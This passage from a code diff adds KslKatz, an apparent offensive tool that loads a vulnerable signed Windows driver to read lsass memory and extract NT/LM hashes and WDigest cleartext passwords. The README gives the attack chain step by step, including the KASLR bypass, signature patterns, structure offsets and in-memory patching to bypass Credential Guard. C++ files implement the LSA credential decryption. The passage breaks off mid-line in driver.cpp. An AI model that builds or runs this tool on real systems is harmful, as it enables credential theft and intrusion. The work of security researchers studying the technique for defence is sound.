| `33 ff 41 89 37 4c 8b f3 45 85 c0 74` | 16 | 10240 | 10 1507-1607 |
|
||||
|
||||
</details>
|
||||
|
||||
### WDigest Cleartext Extraction
|
||||
|
||||
WDigest is an older HTTP Digest authentication protocol. When enabled, `wdigest.dll` caches plaintext passwords in an internal doubly-linked list called `l_LogSessList` so they can be reused for subsequent authentications.
|
||||
|
||||
KslKatz locates `l_LogSessList` by reading `wdigest.dll` from disk and scanning for the signature pattern:
|
||||
|
||||
```
|
||||
Disassembly at the signature location:
|
||||
|
||||
48 8d 0d xx xx xx xx lea rcx, [rip+disp32] ; rcx = &l_LogSessList
|
||||
48 3b d9 cmp rbx, rcx ; <-- signature: 48 3b d9 74
|
||||
74 xx je short skip
|
||||
|
||||
The disp32 displacement is at signature_offset - 4 in the raw .text bytes.
|
||||
target_rva = text_virtual_address + signature_offset + disp32
|
||||
l_LogSessList_va = wdigest_base_in_lsass + target_rva
|
||||
```
|
||||
|
||||
The list structure:
|
||||
|
||||
```
|
||||
l_LogSessList (Head)
|
||||
|
|
||||
Flink -> KIWI_WDIGEST_LIST_ENTRY
|
||||
+0x00: Flink -> next entry
|
||||
+0x08: Blink -> previous entry
|
||||
+0x10: UsageCount (ULONG)
|
||||
+0x18: This (self-pointer)
|
||||
+0x20: LUID (logon session ID)
|
||||
+0x28: (unknown/reserved)
|
||||
+0x30: Username (UNICODE_STRING) -> e.g. "admin"
|
||||
+0x40: Domain (UNICODE_STRING) -> e.g. "YOURDOM"
|
||||
+0x50: Password (UNICODE_STRING) -> encrypted cleartext password
|
||||
```
|
||||
|
||||
The password at offset `+0x50` is encrypted with **3DES-CBC** using the same `h3DesKey` and `IV[:8]` extracted during LSA key extraction. After decryption, the result is the plaintext password as a UTF-16LE string.
|
||||
|
||||
For machine accounts (username ending with `$`), the decrypted password is a binary blob rather than readable text. KslKatz outputs these as hex strings.
|
||||
|
||||
<details>
|
||||
<summary><b>When is WDigest caching active?</b></summary>
|
||||
|
||||
WDigest cleartext caching is controlled by `g_fParameter_UseLogonCredential` inside the loaded `wdigest.dll`. This variable can be set through multiple paths:
|
||||
|
||||
| Method | Persistence | Detection |
|
||||
|--------|------------|-----------|
|
||||
| Registry: `HKLM\...\WDigest\UseLogonCredential = 1` | Survives reboot | Easily auditable |
|
||||
| Group Policy | Survives reboot | GPO audit trail |
|
||||
| In-memory patch of `g_fParameter_UseLogonCredential` to 1 | Until reboot | No registry artifact |
|
||||
| In-memory patch of `g_IsCredGuardEnabled` to 0 | Until reboot | Bypasses Credential Guard check |
|
||||
|
||||
On Windows 10+ the default is `UseLogonCredential=0` (caching disabled). On Windows 7/8, the default is enabled.
|
||||
|
||||
KslKatz **always attempts WDigest extraction** regardless of the registry value, because the in-memory state may differ from what the registry says (e.g., after in-memory patching via tools like NativeBypassCredGuard). If `l_LogSessList` is empty or unmapped, KslKatz reports this without error.
|
||||
|
||||
</details>
|
||||
|
||||
---
|
||||
|
||||
## Attack Chain
|
||||
|
||||
```
|
||||
KslKatz Execution Flow
|
||||
+------------------------------------------------------------------------+
|
||||
| |
|
||||
| 1. DRIVER SETUP |
|
||||
| Check drivers\KslD.sys (SHA256) -> found? use it |
|
||||
| Check drivers\vKslD.sys (SHA256) -> found? use it |
|
||||
| Neither? -> deploy from embedded payload, verify SHA256 |
|
||||
| ChangeServiceConfigW(ImagePath = vulnerable driver) |
|
||||
| RegSetValueEx(AllowedProcessName = our NT device path) |
|
||||
| StartServiceW(KslD) -> CreateFileW("\\.\KslD") |
|
||||
| |
|
||||
| 2. KASLR BYPASS |
|
||||
| SubCmd 2 -> IDTR base address + CR3 |
|
||||
| Read IDT entries -> find lowest ISR address |
|
||||
| Scan backwards (page-aligned) for MZ header -> ntoskrnl base |
|
||||
| |
|
||||
| 3. EPROCESS DISCOVERY |
|
||||
| OpenProcess(PID 4) -> NtQuerySystemInformation(HandleInfo) |
|
||||
| -> SYSTEM EPROCESS kernel address |
|
||||
| Detect PID/Links/Name offsets dynamically from SYSTEM EPROCESS |
|
||||
| Walk ActiveProcessLinks -> find lsass.exe |
|
||||
| Read DTB from EPROCESS+0x28, auto-detect PEB offset |
|
||||
| |
|
||||
| 4. LSA KEY EXTRACTION |
|
||||
| ReadFile(lsasrv.dll) -> local .text signature scan |
|
||||
| RIP-relative RVA resolution -> 3 targeted physical reads |
|
||||
| BCRYPT_HANDLE_KEY -> BCRYPT_KEY81 -> HARD_KEY -> AES + 3DES + IV |
|
||||
| |
|
||||
| 5. MSV1_0 EXTRACTION |
|
||||
| ReadFile(lsasrv.dll) -> local scan for LogonSessionList |
|
||||
| Walk linked list via physical reads |
|
||||
| Decrypt Primary credentials -> NT / LM / SHA1 hashes |
|
||||
| |
|
||||
| 6. WDIGEST EXTRACTION |
|
||||
| ReadFile(wdigest.dll) -> local scan for l_LogSessList |
|
||||
| Walk linked list via physical reads |
|
||||
| 3DES-CBC decrypt -> cleartext passwords |
|
||||
| |
|
||||
| 7. CLEANUP |
|
||||
| ChangeServiceConfigW(original ImagePath) |
|
||||
| RegSetValueEx(original AllowedProcessName) |
|
||||
| StartServiceW (restore original driver state) |
|
||||
| DeleteFileW(vKslD.sys) if we deployed it |
|
||||
| |
|
||||
+------------------------------------------------------------------------+
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Embedded Driver
|
||||
|
||||
KslKatz embeds the vulnerable 333KB KslD.sys directly as a compiled-in C array (`driver_payload.h`). This makes the tool fully standalone with no external file dependencies.
|
||||
|
||||
| Priority | Path | Condition | Action |
|
||||
|----------|------|-----------|--------|
|
||||
| 1 | `drivers\KslD.sys` | Exists, size=333216, SHA256 match | Use directly, no file written |
|
||||
| 2 | `drivers\vKslD.sys` | Exists, size=333216, SHA256 match | Use directly, no file written |
|
||||
| 3 | Embedded payload | Neither found | Write to `vKslD.sys`, verify SHA256, delete on cleanup |
|
||||
|
||||
Driver SHA256: `bd17231833aa369b3b2b6963899bf05dbefd673db270aec15446f2fab4a17b5a`
|
||||
|
||||
---
|
||||
|
||||
## Comparison with Other Tools
|
||||
|
||||
| Feature | KslKatz | GhostKatz | Mimikatz | KernelKatz |
|
||||
|---------|---------|-----------|----------|------------|
|
||||
| Driver | Microsoft-signed KslD.sys | Third-party vuln drivers | None (usermode) | Third-party vuln drivers |
|
||||
| Read primitive | `MmCopyMemory` via IOCTL | Byte-by-byte phys read | `OpenProcess` + `ReadProcessMemory` | Kernel read |
|
||||
| PPL bypass | Yes (physical reads) | Yes (physical reads) | No (blocked by PPL) | Yes |
|
||||
| Address translation | Page table walk | Superfetch PFN database | N/A (usermode) | Varies |
|
||||
| Signature scan | Local file read (no ETW) | `LoadLibrary` (ETW event) | In-process | Varies |
|
||||
| EPROCESS discovery | Handle table leak | `PsInitialSystemProcess` export | `OpenProcess` | Varies |
|
||||
| MSV1_0 hashes | Yes | Yes | Yes | Yes |
|
||||
| WDigest cleartext | Yes | Yes | Yes | Varies |
|
||||
| Standalone EXE | Yes (embedded driver) | No (BOF + driver file) | Yes | No |
|
||||
| Cleanup | Full restore (SCM + registry) | Service delete | N/A | Varies |
|
||||
|
||||
---
|
||||
|
||||
## Supported Windows Versions
|
||||
|
||||
| Version | Build | MSV1_0 | WDigest | Tested |Notes |
|
||||
|---------|-------|--------|---------|-------|-------|
|
||||
| Windows 7 | 7600 | Yes | Yes | No | WDigest enabled by default |
|
||||
| Windows 8 | 9200 | Yes | Yes |No | WDigest enabled by default |
|
||||
| Windows 8.1 | 9600 | Yes | Yes |No | WDigest enabled by default |
|
||||
| Windows 10 1507-1607 | 10240-14393 | Yes | Yes |No| WDigest disabled by default |
|
||||
| Windows 10 1703 | 15063 | Yes | Yes |No |
|
||||
| Windows 10 1803 | 17134 | Yes | Yes |No |
|
||||
| Windows 10 1809-1909 | 17763-18363 | Yes | Yes |No |
|
||||
| Windows 10 2004-22H2 | 19041-19045 | Yes | Yes | No |
|
||||
| Windows Server 2022 | 20348 | Yes | Yes | Yes |
|
||||
| Windows 11 21H2-23H2 | 22000-22631 | Yes | Yes |No |
|
||||
| Windows 11 24H2/25H2 | 26100-26200 | Yes | Yes |Yes |
|
||||
|
||||
> **Note:** The vulnerable 333KB KslD.sys must be present on the target system or will be deployed from the embedded payload. Systems freshly installed with recent Defender versions may only have the patched 82KB version in `drivers\wd\`.
|
||||
|
||||
---
|
||||
|
||||
## Building
|
||||
|
||||
**Requirements:** Visual Studio 2022, C++20 (MSVC v143 toolset), Windows SDK 10.0
|
||||
|
||||
```bash
|
||||
git clone https://github.com/S1lky/KslKatz.git
|
||||
cd KslKatz
|
||||
```
|
||||
|
||||
Open `KslKatz.sln` in Visual Studio 2022. Select **x64 Release**. Build.
|
||||
|
||||
Output: `bin\Release\KslKatz.exe` (~700KB standalone, no runtime dependencies)
|
||||
|
||||
---
|
||||
|
||||
## Project Structure
|
||||
|
||||
```
|
||||
KslKatz/
|
||||
KslKatz.sln Visual Studio 2022 solution
|
||||
KslKatz.vcxproj Project file (x64, C++20, v143)
|
||||
KslKatz.vcxproj.filters Source file grouping
|
||||
src/
|
||||
common.h Shared types, unaligned read helpers, credential structs
|
||||
driver.h / driver.cpp KslD IOCTL interface, SCM service management,
|
||||
SHA256 driver verification, embedded driver deployment
|
||||
driver_payload.h Vulnerable KslD.sys as uint8_t array (333KB, 20K lines)
|
||||
memory.h / memory.cpp Page table walk (PML4/PDPT/PD/PT + transition pages),
|
||||
proc_read, read_ptr, resolve_rip, read_ustr, pattern scan
|
||||
crypto.h / crypto.cpp AES-CFB128 (manual ECB+XOR), 3DES-CBC, RC4, DES-ECB,
|
||||
MD5, SHA256 -- all via Windows CNG (bcrypt.lib)
|
||||
lsa.h / lsa.cpp KASLR bypass, EPROCESS leak via SystemHandleInformation,
|
||||
LSA key extraction (local file scan + BCRYPT traversal),
|
||||
LogonSessionList walk, MSV1_0 credential decryption
|
||||
wdigest.h / wdigest.cpp l_LogSessList location via local file scan,
|
||||
linked list walk, 3DES-CBC password decryption
|
||||
main.cpp Orchestration, phase sequencing, output formatting
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Credits
|
||||
|
||||
- [**Mimikatz**](https://github.com/gentilkiwi/mimikatz) by Benjamin Delpy -- LSA structure definitions, signature patterns, credential decryption logic, and the foundational research that made all of this possible
|
||||
- [**GhostKatz**](https://github.com/julianpena/GhostKatz) by Julian Pena and Eric Esquivel -- local signature scan approach, WDigest list walking, and the Superfetch address translation concept
|
||||
- [**KslDump**](https://github.com/S1lky/KslDump) -- KslD.sys BYOVD vulnerability discovery, IOCTL reverse engineering, and the original Python PoC
|
||||
|
||||
---
|
||||
|
||||
## Responsible Disclosure
|
||||
|
||||
The KslD.sys vulnerability was reported to Microsoft Security Response Center (MSRC). It was closed as **"Not a Vulnerability"** with the following rationale:
|
||||
|
||||
> *"The described attack depends on pre-existing administrative privileges. No evidence was provided showing how those privileges were obtained. Reports that assume administrative or root access without demonstrating a vulnerability that grants those privileges are considered lower impact, as an attacker with such access could already perform more severe actions."*
|
||||
|
||||
No CVE was assigned. No fix was issued. The vulnerable driver remains on disk.
|
||||
|
||||
---
|
||||
|
||||
## Disclaimer
|
||||
|
||||
This tool is provided for authorized security testing and educational purposes only. Use it only on systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse.
|
||||
|
||||
---
|
||||
|
||||
<div align="center">
|
||||
|
||||
*Built with C++20 | No external dependencies | Single standalone executable*
|
||||
|
||||
</div>
|
||||
+112
@@ -0,0 +1,112 @@
|
||||
#pragma once
|
||||
#ifndef WIN32_LEAN_AND_MEAN
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#endif
|
||||
#ifndef NOMINMAX
|
||||
#define NOMINMAX
|
||||
#endif
|
||||
#include <Windows.h>
|
||||
#include <cstdint>
|
||||
#include <cstring>
|
||||
#include <vector>
|
||||
#include <string>
|
||||
#include <optional>
|
||||
#include <format>
|
||||
#include <span>
|
||||
#include <stdexcept>
|
||||
#include <iostream>
|
||||
#include <set>
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
// Byte buffer alias
|
||||
// ----------------------------------------------------------------
|
||||
using Bytes = std::vector<uint8_t>;
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
// Read helpers (unaligned safe via memcpy)
|
||||
// ----------------------------------------------------------------
|
||||
inline uint16_t rw(const uint8_t* d, size_t o) {
|
||||
uint16_t v; std::memcpy(&v, d + o, 2); return v;
|
||||
}
|
||||
inline uint32_t rd(const uint8_t* d, size_t o) {
|
||||
uint32_t v; std::memcpy(&v, d + o, 4); return v;
|
||||
}
|
||||
inline int32_t ri(const uint8_t* d, size_t o) {
|
||||
int32_t v; std::memcpy(&v, d + o, 4); return v;
|
||||
}
|
||||
inline uint64_t rp(const uint8_t* d, size_t o) {
|
||||
uint64_t v; std::memcpy(&v, d + o, 8); return v;
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
// Credential result
|
||||
// ----------------------------------------------------------------
|
||||
struct Credential {
|
||||
std::wstring user;
|
||||
std::wstring domain;
|
||||
std::string nt_hash;
|
||||
std::string lm_hash;
|
||||
std::string sha_hash;
|
||||
};
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
// Session struct offsets per build
|
||||
// ----------------------------------------------------------------
|
||||
struct SessionOffsets {
|
||||
uint32_t luid;
|
||||
uint32_t user;
|
||||
uint32_t domain;
|
||||
uint32_t logon_type;
|
||||
uint32_t cred_ptr;
|
||||
};
|
||||
|
||||
inline SessionOffsets session_offsets(uint32_t build) {
|
||||
if (build >= 22000) return { 0x70, 0xA0, 0xB0, 0xE8, 0x118 };
|
||||
if (build >= 9600) return { 0x70, 0x90, 0xA0, 0xD0, 0x108 };
|
||||
if (build >= 7601) return { 0x58, 0x78, 0x88, 0xBC, 0xF0 };
|
||||
return { 0x48, 0x68, 0x78, 0xAC, 0xE0 };
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
// MSV signature entry
|
||||
// ----------------------------------------------------------------
|
||||
struct MsvSig {
|
||||
const uint8_t* pattern;
|
||||
size_t pattern_len;
|
||||
int32_t fe_off;
|
||||
int32_t cnt_off;
|
||||
int32_t corr_off;
|
||||
uint32_t min_build;
|
||||
};
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
// LSA signature entry
|
||||
// ----------------------------------------------------------------
|
||||
struct LsaSig {
|
||||
const uint8_t* pattern;
|
||||
size_t pattern_len;
|
||||
int32_t iv_off;
|
||||
int32_t des_off;
|
||||
int32_t aes_off;
|
||||
uint32_t hk_off;
|
||||
};
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
// WDigest credential
|
||||
// ----------------------------------------------------------------
|
||||
struct WDigestCredential {
|
||||
std::wstring user;
|
||||
std::wstring domain;
|
||||
std::wstring password;
|
||||
};
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
// Hex formatting
|
||||
// ----------------------------------------------------------------
|
||||
inline std::string to_hex(std::span<const uint8_t> data) {
|
||||
std::string out;
|
||||
out.reserve(data.size() * 2);
|
||||
for (auto b : data)
|
||||
out += std::format("{:02x}", b);
|
||||
return out;
|
||||
}
|
||||
+297
@@ -0,0 +1,297 @@
|
||||
#include "crypto.h"
|
||||
#include <bcrypt.h>
|
||||
#include <algorithm>
|
||||
#include <array>
|
||||
|
||||
#pragma comment(lib, "bcrypt.lib")
|
||||
|
||||
// ================================================================
|
||||
// RAII wrappers
|
||||
// ================================================================
|
||||
|
||||
struct BcryptAlg {
|
||||
BCRYPT_ALG_HANDLE h = nullptr;
|
||||
~BcryptAlg() { if (h) BCryptCloseAlgorithmProvider(h, 0); }
|
||||
};
|
||||
|
||||
struct BcryptKey {
|
||||
BCRYPT_KEY_HANDLE h = nullptr;
|
||||
~BcryptKey() { if (h) BCryptDestroyKey(h); }
|
||||
};
|
||||
|
||||
struct BcryptHash {
|
||||
BCRYPT_HASH_HANDLE h = nullptr;
|
||||
~BcryptHash() { if (h) BCryptDestroyHash(h); }
|
||||
};
|
||||
|
||||
// ================================================================
|
||||
// Hash functions
|
||||
// ================================================================
|
||||
|
||||
static Bytes cng_hash(const wchar_t* alg_id, size_t digest_len, std::span<const uint8_t> data) {
|
||||
BcryptAlg alg;
|
||||
if (!BCRYPT_SUCCESS(BCryptOpenAlgorithmProvider(&alg.h, alg_id, nullptr, 0)))
|
||||
return {};
|
||||
|
||||
BcryptHash hash;
|
||||
if (!BCRYPT_SUCCESS(BCryptCreateHash(alg.h, &hash.h, nullptr, 0, nullptr, 0, 0)))
|
||||
return {};
|
||||
|
||||
if (!BCRYPT_SUCCESS(BCryptHashData(hash.h, const_cast<PUCHAR>(data.data()),
|
||||
static_cast<ULONG>(data.size()), 0)))
|
||||
return {};
|
||||
|
||||
Bytes digest(digest_len, 0);
|
||||
if (!BCRYPT_SUCCESS(BCryptFinishHash(hash.h, digest.data(),
|
||||
static_cast<ULONG>(digest_len), 0)))
|
||||
return {};
|
||||
|
||||
return digest;
|
||||
}
|
||||
|
||||
Bytes md5_hash(std::span<const uint8_t> data) {
|
||||
return cng_hash(BCRYPT_MD5_ALGORITHM, 16, data);
|
||||
}
|
||||
|
||||
Bytes sha256_hash(std::span<const uint8_t> data) {
|
||||
return cng_hash(BCRYPT_SHA256_ALGORITHM, 32, data);
|
||||
}
|
||||
|
||||
// ================================================================
|
||||
// RC4 decryption
|
||||
// ================================================================
|
||||
|
||||
Bytes rc4_decrypt(std::span<const uint8_t> key, std::span<const uint8_t> data) {
|
||||
BcryptAlg alg;
|
||||
if (!BCRYPT_SUCCESS(BCryptOpenAlgorithmProvider(&alg.h, BCRYPT_RC4_ALGORITHM, nullptr, 0)))
|
||||
return {};
|
||||
|
||||
BcryptKey bkey;
|
||||
if (!BCRYPT_SUCCESS(BCryptGenerateSymmetricKey(alg.h, &bkey.h, nullptr, 0,
|
||||
const_cast<PUCHAR>(key.data()), static_cast<ULONG>(key.size()), 0)))
|
||||
return {};
|
||||
|
||||
Bytes output(data.size(), 0);
|
||||
ULONG result_len = 0;
|
||||
if (!BCRYPT_SUCCESS(BCryptDecrypt(bkey.h,
|
||||
const_cast<PUCHAR>(data.data()), static_cast<ULONG>(data.size()),
|
||||
nullptr, nullptr, 0,
|
||||
output.data(), static_cast<ULONG>(output.size()),
|
||||
&result_len, 0)))
|
||||
return {};
|
||||
|
||||
output.resize(result_len);
|
||||
return output;
|
||||
}
|
||||
|
||||
// ================================================================
|
||||
// AES-128-CBC decryption
|
||||
// ================================================================
|
||||
|
||||
Bytes aes128_cbc_decrypt(std::span<const uint8_t> key,
|
||||
std::span<const uint8_t> iv,
|
||||
std::span<const uint8_t> data) {
|
||||
BcryptAlg alg;
|
||||
if (!BCRYPT_SUCCESS(BCryptOpenAlgorithmProvider(&alg.h, BCRYPT_AES_ALGORITHM, nullptr, 0)))
|
||||
return {};
|
||||
|
||||
if (!BCRYPT_SUCCESS(BCryptSetProperty(alg.h, BCRYPT_CHAINING_MODE,
|
||||
reinterpret_cast<PUCHAR>(const_cast<wchar_t*>(BCRYPT_CHAIN_MODE_CBC)),
|
||||
static_cast<ULONG>(sizeof(BCRYPT_CHAIN_MODE_CBC)), 0)))
|
||||
return {};
|
||||
|
||||
BcryptKey bkey;
|
||||
if (!BCRYPT_SUCCESS(BCryptGenerateSymmetricKey(alg.h, &bkey.h, nullptr, 0,
|
||||
const_cast<PUCHAR>(key.data()), static_cast<ULONG>(key.size()), 0)))
|
||||
return {};
|
||||
|
||||
// IV copy (BCryptDecrypt modifies it)
|
||||
Bytes iv_copy(iv.begin(), iv.end());
|
||||
iv_copy.resize(16, 0);
|
||||
|
||||
Bytes output(data.size(), 0);
|
||||
ULONG result_len = 0;
|
||||
if (!BCRYPT_SUCCESS(BCryptDecrypt(bkey.h,
|
||||
const_cast<PUCHAR>(data.data()), static_cast<ULONG>(data.size()),
|
||||
nullptr,
|
||||
iv_copy.data(), static_cast<ULONG>(iv_copy.size()),
|
||||
output.data(), static_cast<ULONG>(output.size()),
|
||||
&result_len, 0)))
|
||||
return {};
|
||||
|
||||
output.resize(result_len);
|
||||
return output;
|
||||
}
|
||||
|
||||
// ================================================================
|
||||
// DES-ECB single block decryption (8 bytes)
|
||||
// ================================================================
|
||||
|
||||
Bytes des_ecb_decrypt(std::span<const uint8_t> key8,
|
||||
std::span<const uint8_t> data8) {
|
||||
BcryptAlg alg;
|
||||
if (!BCRYPT_SUCCESS(BCryptOpenAlgorithmProvider(&alg.h, BCRYPT_DES_ALGORITHM, nullptr, 0)))
|
||||
return {};
|
||||
|
||||
if (!BCRYPT_SUCCESS(BCryptSetProperty(alg.h, BCRYPT_CHAINING_MODE,
|
||||
reinterpret_cast<PUCHAR>(const_cast<wchar_t*>(BCRYPT_CHAIN_MODE_ECB)),
|
||||
static_cast<ULONG>(sizeof(BCRYPT_CHAIN_MODE_ECB)), 0)))
|
||||
return {};
|
||||
|
||||
BcryptKey bkey;
|
||||
if (!BCRYPT_SUCCESS(BCryptGenerateSymmetricKey(alg.h, &bkey.h, nullptr, 0,
|
||||
const_cast<PUCHAR>(key8.data()), static_cast<ULONG>(key8.size()), 0)))
|
||||
return {};
|
||||
|
||||
Bytes output(8, 0);
|
||||
ULONG result_len = 0;
|
||||
if (!BCRYPT_SUCCESS(BCryptDecrypt(bkey.h,
|
||||
const_cast<PUCHAR>(data8.data()), static_cast<ULONG>(data8.size()),
|
||||
nullptr, nullptr, 0,
|
||||
output.data(), 8, &result_len, 0)))
|
||||
return {};
|
||||
|
||||
return output;
|
||||
}
|
||||
|
||||
// ================================================================
|
||||
// DES key expansion: 7 bytes -> 8 bytes with parity bits
|
||||
// ================================================================
|
||||
|
||||
Bytes des_expand_key(std::span<const uint8_t> key7) {
|
||||
if (key7.size() < 7) return {};
|
||||
|
||||
Bytes key8(8);
|
||||
key8[0] = key7[0] >> 1;
|
||||
key8[1] = ((key7[0] & 0x01) << 6) | (key7[1] >> 2);
|
||||
key8[2] = ((key7[1] & 0x03) << 5) | (key7[2] >> 3);
|
||||
key8[3] = ((key7[2] & 0x07) << 4) | (key7[3] >> 4);
|
||||
key8[4] = ((key7[3] & 0x0F) << 3) | (key7[4] >> 5);
|
||||
key8[5] = ((key7[4] & 0x1F) << 2) | (key7[5] >> 6);
|
||||
key8[6] = ((key7[5] & 0x3F) << 1) | (key7[6] >> 7);
|
||||
key8[7] = key7[6] & 0x7F;
|
||||
|
||||
// Set parity bits (odd parity)
|
||||
for (auto& b : key8)
|
||||
b = (b << 1) & 0xFE;
|
||||
|
||||
return key8;
|
||||
}
|
||||
|
||||
// ================================================================
|
||||
// RID -> two DES keys for SAM hash double-DES
|
||||
// ================================================================
|
||||
|
||||
std::pair<Bytes, Bytes> rid_to_des_keys(uint32_t rid) {
|
||||
uint8_t r[4];
|
||||
std::memcpy(r, &rid, 4);
|
||||
|
||||
// First 7-byte key derived from RID bytes
|
||||
uint8_t k1[7] = { r[0], r[1], r[2], r[3], r[0], r[1], r[2] };
|
||||
// Second 7-byte key (shifted by one)
|
||||
uint8_t k2[7] = { r[3], r[0], r[1], r[2], r[3], r[0], r[1] };
|
||||
|
||||
return { des_expand_key(k1), des_expand_key(k2) };
|
||||
}
|
||||
|
||||
// ================================================================
|
||||
// AES-CFB128 decrypt (manual ECB+XOR, BCrypt only supports CFB8)
|
||||
// ================================================================
|
||||
|
||||
static Bytes aes_cfb128_decrypt(std::span<const uint8_t> ct,
|
||||
std::span<const uint8_t> key,
|
||||
std::span<const uint8_t> iv) {
|
||||
BcryptAlg alg;
|
||||
if (!BCRYPT_SUCCESS(BCryptOpenAlgorithmProvider(&alg.h, BCRYPT_AES_ALGORITHM, nullptr, 0)))
|
||||
return {};
|
||||
|
||||
if (!BCRYPT_SUCCESS(BCryptSetProperty(alg.h, BCRYPT_CHAINING_MODE,
|
||||
reinterpret_cast<PUCHAR>(const_cast<wchar_t*>(BCRYPT_CHAIN_MODE_ECB)),
|
||||
static_cast<ULONG>(sizeof(BCRYPT_CHAIN_MODE_ECB)), 0)))
|
||||
return {};
|
||||
|
||||
BcryptKey bkey;
|
||||
if (!BCRYPT_SUCCESS(BCryptGenerateSymmetricKey(alg.h, &bkey.h, nullptr, 0,
|
||||
const_cast<PUCHAR>(key.data()), static_cast<ULONG>(key.size()), 0)))
|
||||
return {};
|
||||
|
||||
Bytes plaintext;
|
||||
plaintext.reserve(ct.size());
|
||||
|
||||
std::array<uint8_t, 16> feedback{};
|
||||
std::memcpy(feedback.data(), iv.data(), std::min<size_t>(iv.size(), 16));
|
||||
|
||||
for (size_t off = 0; off < ct.size(); off += 16) {
|
||||
std::array<uint8_t, 16> encrypted{};
|
||||
std::array<uint8_t, 16> fb_copy = feedback;
|
||||
ULONG result_len = 0;
|
||||
if (!BCRYPT_SUCCESS(BCryptEncrypt(bkey.h, fb_copy.data(), 16, nullptr,
|
||||
nullptr, 0, encrypted.data(), 16, &result_len, 0)))
|
||||
return {};
|
||||
|
||||
size_t block_len = std::min<size_t>(16, ct.size() - off);
|
||||
for (size_t i = 0; i < block_len; ++i)
|
||||
plaintext.push_back(encrypted[i] ^ ct[off + i]);
|
||||
|
||||
std::memset(feedback.data(), 0, 16);
|
||||
std::memcpy(feedback.data(), ct.data() + off, block_len);
|
||||
}
|
||||
|
||||
return plaintext;
|
||||
}
|
||||
|
||||
// ================================================================
|
||||
// 3DES-CBC decryption
|
||||
// ================================================================
|
||||
|
||||
static Bytes des3_cbc_decrypt(std::span<const uint8_t> ct,
|
||||
std::span<const uint8_t> key,
|
||||
std::span<const uint8_t> iv8) {
|
||||
BcryptAlg alg;
|
||||
if (!BCRYPT_SUCCESS(BCryptOpenAlgorithmProvider(&alg.h, BCRYPT_3DES_ALGORITHM, nullptr, 0)))
|
||||
return {};
|
||||
|
||||
if (!BCRYPT_SUCCESS(BCryptSetProperty(alg.h, BCRYPT_CHAINING_MODE,
|
||||
reinterpret_cast<PUCHAR>(const_cast<wchar_t*>(BCRYPT_CHAIN_MODE_CBC)),
|
||||
static_cast<ULONG>(sizeof(BCRYPT_CHAIN_MODE_CBC)), 0)))
|
||||
return {};
|
||||
|
||||
BcryptKey bkey;
|
||||
if (!BCRYPT_SUCCESS(BCryptGenerateSymmetricKey(alg.h, &bkey.h, nullptr, 0,
|
||||
const_cast<PUCHAR>(key.data()), static_cast<ULONG>(key.size()), 0)))
|
||||
return {};
|
||||
|
||||
std::array<uint8_t, 8> iv_copy{};
|
||||
std::memcpy(iv_copy.data(), iv8.data(), std::min<size_t>(iv8.size(), 8));
|
||||
|
||||
Bytes plaintext(ct.size(), 0);
|
||||
ULONG result_len = 0;
|
||||
if (!BCRYPT_SUCCESS(BCryptDecrypt(bkey.h,
|
||||
const_cast<PUCHAR>(ct.data()), static_cast<ULONG>(ct.size()),
|
||||
nullptr,
|
||||
iv_copy.data(), static_cast<ULONG>(iv_copy.size()),
|
||||
plaintext.data(), static_cast<ULONG>(plaintext.size()),
|
||||
&result_len, 0)))
|
||||
return {};
|
||||
|
||||
plaintext.resize(result_len);
|
||||
return plaintext;
|
||||
}
|
||||
|
||||
// ================================================================
|
||||
// LSA decryption dispatcher
|
||||
// ================================================================
|
||||
|
||||
Bytes lsa_decrypt(std::span<const uint8_t> enc,
|
||||
std::span<const uint8_t> aes_key,
|
||||
std::span<const uint8_t> des_key,
|
||||
std::span<const uint8_t> iv) {
|
||||
if (enc.empty()) return {};
|
||||
|
||||
if (enc.size() % 8 != 0) {
|
||||
return aes_cfb128_decrypt(enc, aes_key, iv);
|
||||
} else {
|
||||
auto iv8 = iv.subspan(0, std::min<size_t>(iv.size(), 8));
|
||||
return des3_cbc_decrypt(enc, des_key, iv8);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
#pragma once
|
||||
#include "common.h"
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
// LSA decryption (lsass memory path)
|
||||
// ----------------------------------------------------------------
|
||||
Bytes lsa_decrypt(std::span<const uint8_t> enc,
|
||||
std::span<const uint8_t> aes_key,
|
||||
std::span<const uint8_t> des_key,
|
||||
std::span<const uint8_t> iv);
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
// Hash functions via CNG
|
||||
// ----------------------------------------------------------------
|
||||
Bytes md5_hash(std::span<const uint8_t> data);
|
||||
Bytes sha256_hash(std::span<const uint8_t> data);
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
// Symmetric ciphers via CNG
|
||||
// ----------------------------------------------------------------
|
||||
Bytes rc4_decrypt(std::span<const uint8_t> key, std::span<const uint8_t> data);
|
||||
Bytes aes128_cbc_decrypt(std::span<const uint8_t> key,
|
||||
std::span<const uint8_t> iv,
|
||||
std::span<const uint8_t> data);
|
||||
Bytes des_ecb_decrypt(std::span<const uint8_t> key8,
|
||||
std::span<const uint8_t> data8);
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
// DES key expansion: 7 bytes -> 8 bytes with parity
|
||||
// ----------------------------------------------------------------
|
||||
Bytes des_expand_key(std::span<const uint8_t> key7);
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
// RID-to-DES-keys helper for SAM hash decryption
|
||||
// ----------------------------------------------------------------
|
||||
std::pair<Bytes, Bytes> rid_to_des_keys(uint32_t rid);
|
||||
+337
@@ -0,0 +1,337 @@
|
||||
#include "driver.h"
|
||||
#include "driver_payload.h"
|
||||
#include <filesystem>
|
||||
#include <bcrypt.h>
|
||||
#include <fstream>
|
||||
#include <cwctype>
|
||||
|
||||
#pragma comment(lib, "advapi32.lib")
|
||||
#pragma comment(lib, "bcrypt.lib")
|
||||
|
||||
static constexpr wchar_t SERVICE_NAME[] = L"KslD";
|
||||
static constexpr char VKSLD_SHA256[] =
|
||||
